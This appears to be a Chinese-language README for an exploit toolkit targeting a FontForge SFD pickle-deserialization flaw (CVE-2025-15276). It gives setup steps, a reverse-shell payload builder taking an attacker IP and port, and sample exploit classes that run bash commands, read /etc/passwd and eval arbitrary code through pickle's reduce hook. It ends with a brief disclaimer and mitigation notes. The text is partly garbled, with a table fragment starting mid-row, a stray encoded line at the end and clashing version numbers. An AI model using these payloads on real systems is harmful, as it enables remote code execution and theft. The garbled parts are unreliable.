CVE-2025-15276: FontForge SFD PickledData 反序列化远程代码执行漏洞利用工具
项目概述
本项目是针对 CVE-2025-15276 漏洞的实战利用工具集。该漏洞存在于 FontForge(版本 ≤ 20230101)的 SFD(Spline Font Database)文件解析过程中,由于对 PickledData 字段的处理不当,导致攻击者可以通过构造恶意 SFD 文件触发 Python pickle 反序列化漏洞,从而实现远程代码执行(RCE)。
漏洞风险等级
| 项目 | 详情 |
|---|---|
| 漏洞编号 | CVE-2025-15276 |
| 风险等级 | 严重(Critical) |
| 影响版本 | FontForge ≤ 20230101 |
| 修复版本 | FontForge ≥ 78.1.1 |
| 攻击向量 | 本地文件加载 / 远程文件上传 |
安装指南
系统要求
- 操作系统:Linux / macOS / Windows(WSL 环境)
- Python 版本:Python 3.6 及以上
- 目标环境:FontForge 20230101 或更早版本
安装步骤
1. 克隆项目仓库
git clone https://github.com/qife/CVE-2025-15276-PoC.git
cd CVE-2025-15276-PoC
2. 安装 Python 依赖
本工具仅依赖 Python 标准库,无需额外安装第三方包。
# 检查 Python 版本
python3 --version
# 确认标准库可用(pickle, os 默认内置)
python3 -c "import pickle, os; print('依赖检查通过')"
3. 验证 FontForge 环境(目标机器)
在目标机器上检查 FontForge 版本:
fontforge --version
# 如果版本 <= 20230101,则存在漏洞
---|------|------|
| cmd | str | 要执行的系统命令 |
| output_file | str | 输出 SFD 文件名(默认:exploit.sfd) |
build_reverse_shell(lhost, lport)
快速构建反向 Shell 载荷。
| 参数 | 类型 | 说明 |
|---|---|---|
lhost | str | 攻击者监听 IP |
lport | str | 攻击者监听端口 |
- FontForge 打开 .sfd 文件
- 解析器读取 "PickledData" 字段
- 提取字段内容并传递给 pickle.loads()
- pickle 反序列化时调用对象的 reduce 方法
- reduce 返回 (os.system, (cmd,))
- os.system(cmd) 被执行
为什么 pickle 不安全?
pickle 允许在反序列化时执行任意代码,因为:
- reduce 方法可以指定任意函数和参数
- 没有沙箱或权限限制
- 反序列化过程本身就是"代码执行"
攻击面扩展:
除了 os.system,还可以利用:
- subprocess.Popen 执行复杂命令
- eval() 执行 Python 表达式
- 文件操作(读写、删除)
- 网络请求(通过 urllib)
- 导入任意模块
防护建议的局限性:
- 更新到 78.1.1+ 是最佳方案
- 输入校验:仅允许可信来源的 .sfd
- 沙箱:使用 Docker 或 seccomp 限制权限
- 监控:检测异常进程创建和文件操作 """
扩展示例:利用其他函数
import subprocess
class AdvancedExploit: def reduce(self): # 使用 subprocess 获取完整控制 cmd = ["/bin/bash", "-c", "id > /tmp/identity"] return (subprocess.Popen, (cmd,))
class FileReadExploit: def reduce(self): # 读取敏感文件 def read_file(path): with open(path, 'r') as f: return f.read() return (read_file, ("/etc/passwd",))
class EvalExploit: def reduce(self): # 执行任意 Python 代码 code = "import('os').system('echo PWNED')" return (eval, (code,))
## 法律声明
**本工具仅供安全研究和授权测试使用。** 未经授权使用本工具攻击系统属于违法行为。使用者需自行承担因不当使用所产生的全部法律责任。作者不对任何滥用行为负责。
---
## 参考链接
- [CVE-2025-15276 NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-15276)
- [FontForge 官方仓库](https://github.com/fontforge/fontforge)
- [Python Pickle 安全文档](https://docs.python.org/3/library/pickle.html)
6HFtX5dABrKlqXeO5PUv/2A5lTVL2p7eEyEgtM+/zQNCsS9I6PBzOaFva9iI+lPY